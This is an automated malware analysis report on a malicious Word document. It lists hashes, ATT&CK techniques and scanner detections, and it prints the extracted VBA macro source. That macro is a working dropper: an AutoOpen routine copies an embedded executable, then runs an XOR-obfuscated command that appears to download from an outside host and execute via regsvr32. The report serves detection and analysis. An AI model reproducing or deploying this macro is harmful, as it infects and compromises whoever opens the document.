Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7c46a8634e0ed291…

MALICIOUS

Office (OOXML)

103.7 KB Created: 2020-07-30 07:56:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 13e08d828b4e259d759e6e66211363ec SHA-1: 02b9cb750f1302564c41d52c8600ff77208fbd89 SHA-256: 7c46a8634e0ed291edc1e135d27c042383a9560df45bc4470d30719cb533ba47
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing a VBA macro with an AutoOpen subroutine. This macro is designed to copy an embedded resource (likely a payload) to 'c:\programdata\1.exe' and then execute it. The obfuscated string within the macro decodes to the path for the executable. The presence of the AutoOpen macro and the execution of an external file strongly indicate a downloader or droppper functionality.

Heuristics 6

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builder\rels\dirpack1\us.jpg
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1584 bytes
SHA-256: 12d244eaa2d763c08b5cc2b86b26ebbe40b8768522fe42b5cf6c0ecd0d182749
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "c"
#If VBA7 Then
Private Declare PtrSafe Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As LongPtr) As LongPtr
#Else
Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
#End If
Function HH()
HH = "c:\programdata\1.exe"
End Function
Sub autoopen()
oB = mM("24!22!31!91!84!24!91!89!8!30!15!91!14!70!14!9!23!93!93!24!26!23!23!91!56!65!39!43!9!20!28!9!26!22!63!26!15!26!39!74!85!30!3!30!91!84!94!14!94!37!24!37!26!37!24!37!19!37!30!37!91!84!29!37!91!19!15!15!11!65!84!84!67!12!8!30!31!78!10!16!12!85!24!20!22!84!25!20!23!25!84!17!26!30!21!15!85!11!19!11!68!23!70!23!18!14!15!72!85!24!26!25!91!56!65!39!43!9!20!28!9!26!22!63!26!15!26!39!74!85!15!22!11!91!93!93!91!24!26!23!23!91!9!30!28!8!13!9!72!73!91!56!65!39!43!9!20!28!9!26!22!63!26!15!26!39!74!85!15!22!11!89")
Call CopyFile(ActiveDocument.Shapes(1).Title, HH, 1)
Dim T As New WshShell
Call T.run(oB, 0)

End Sub

Attribute VB_Name = "w"
Function mM(zS)
l = Split(zS, "!")
For EM = 0 To UBound(l)
 hi = hi & Chr(l(EM) Xor 123)
Next EM
mM = hi
End Function
Function n8()
n8 = "util"
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: 172b0ae3aeb9778e3894639c37d675c04e0176137578b5a38e0b501c057a0a6a

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